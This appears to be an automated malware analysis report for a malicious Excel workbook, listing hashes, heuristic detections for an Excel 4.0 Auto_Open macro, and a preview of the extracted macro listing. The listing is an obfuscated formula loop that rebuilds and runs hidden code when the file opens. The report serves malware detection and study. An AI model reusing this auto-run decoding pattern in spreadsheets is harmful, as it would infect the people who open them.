Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 de4a4e458a1833f4…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:44:43 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: a085d54c3aad9e806afe99d5bdec5e21 SHA-1: 1372ab14c29137053fb98bfb6b430077cc8ff1a4 SHA-256: de4a4e458a1833f45e47b0559f92b18d7d5efb887aca684a1a874754bd7d33c4
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6519 bytes
SHA-256: e576a681ae5637c3379e96b9211dcb8b5ec7f6d7198231890ac6073ee6caa3f4
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  iwjKXOQ
' 0018     22 LABEL : Cell Value, String Constant - AGWmZcu len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G183 
' 0018     21 LABEL : Cell Value, String Constant - CbfXvU len=0 
' 0018     20 LABEL : Cell Value, String Constant - CjAhq len=0 
' 0018     25 LABEL : Cell Value, String Constant - cVVQCKfUAg len=0 
' 0018     20 LABEL : Cell Value, String Constant - cXoHa len=0 
' 0018     23 LABEL : Cell Value, String Constant - dMetffQL len=0 
' 0018     22 LABEL : Cell Value, String Constant - fEZUewH len=0 
' 0018     20 LABEL : Cell Value, String Constant - gSToq len=0 
' 0018     23 LABEL : Cell Value, String Constant - KDgZxzFB len=0 
' 0018     26 LABEL : Cell Value, String Constant - mBSLfZApUMv len=0 
' 0018     24 LABEL : Cell Value, String Constant - MlHVislTs len=0 
' 0018     26 LABEL : Cell Value, String Constant - NDEEVcbiFDa len=0 
' 0018     26 LABEL : Cell Value, String Constant - NopxdgYkERL len=0 
' 0018     21 LABEL : Cell Value, String Constant - nyVdSv len=0 
' 0018     27 LABEL : Cell Value, String Constant - ooxUsfxGSkIu len=0 
' 0018     26 LABEL : Cell Value, String Constant - OrVzwKFVFDy len=0 
' 0018     26 LABEL : Cell Value, String Constant - pcuXxvGNwSX len=0 
' 0018     20 LABEL : Cell Value, String Constant - uwEml len=0 
' 0018     25 LABEL : Cell Value, String Constant - WHnyNDnonC len=0 
' 0018     26 LABEL : Cell Value, String Constant - yfbFoSTsNWL len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  iwjKXOQ,G91,"SET.NAME("NopxdgYkERL",VALUE("0"))",""
'  iwjKXOQ,G94,"SET.NAME("KDgZxzFB",NopxdgYkERL)",""
'  iwjKXOQ,G99,"SET.NAME("yfbFoSTsNWL",NopxdgYkERL)",""
'  iwjKXOQ,G101,"SET.NAME("NDEEVcbiFDa",COUNTA(dMetffQL))",""
'  iwjKXOQ,G106,"SET.NAME("ooxUsfxGSkIu",COUNTA(cXoHa))",""
'  iwjKXOQ,G111,[],""
'  iwjKXOQ,G113,"SET.NAME("WHnyNDnonC","")",""
'  iwjKXOQ,G117,"KDgZxzFB",""
'  iwjKXOQ,G120,"SET.NAME("CjAhq",HLOOKUP("*",dMetffQL,KDgZxzFB,FALSE))",""
'  iwjKXOQ,G125,"cVVQCKfUAg",""
'  iwjKXOQ,G129,"SET.NAME("gSToq",NopxdgYkERL)",""
'  iwjKXOQ,G131,[],""
'  iwjKXOQ,G134,"gSToq",""
'  iwjKXOQ,G139,"uwEml",""
'  iwjKXOQ,G141,"nyVdSv",""
'  iwjKXOQ,G143,"pcuXxvGNwSX",""
'  iwjKXOQ,G147,"SET.NAME("AGWmZcu",VALUE(HLOOKUP("*",cXoHa,pcuXxvGNwSX,FALSE)))",""
'  iwjKXOQ,G149,"CbfXvU",""
'  iwjKXOQ,G152,"WHnyNDnonC",""
'  iwjKXOQ,G155,"yfbFoSTsNWL",""
'  iwjKXOQ,G159,NEXT(),""
'  iwjKXOQ,G161,"mBSLfZApUMv",""
'  iwjKXOQ,G166,"SET.NAME("f",INT(T(FORMULA(T(WHnyNDnonC)&"",""&T(mBSLfZApUMv)))))",""
'  iwjKXOQ,G171,"OrVzwKFVFDy",""
'  iwjKXOQ,G176,NEXT(),""
'  iwjKXOQ,G178,RETURN(),""
'  iwjKXOQ,G211,"SET.NAME("fEZUewH",G91)",""
'  iwjKXOQ,G215,"dMetffQL",""
'  iwjKXOQ,G217,"SET.NAME("cXoHa",R57C14)",""
'  iwjKXOQ,G222,"SET.NAME("OrVzwKFVFDy",233)",""
'  iwjKXOQ,G227,"SET.NAME("MlHVislTs",7)",""
'  iwjKXOQ,G232,fEZUewH(),""
'  iwjKXOQ,G233,HALT(),""

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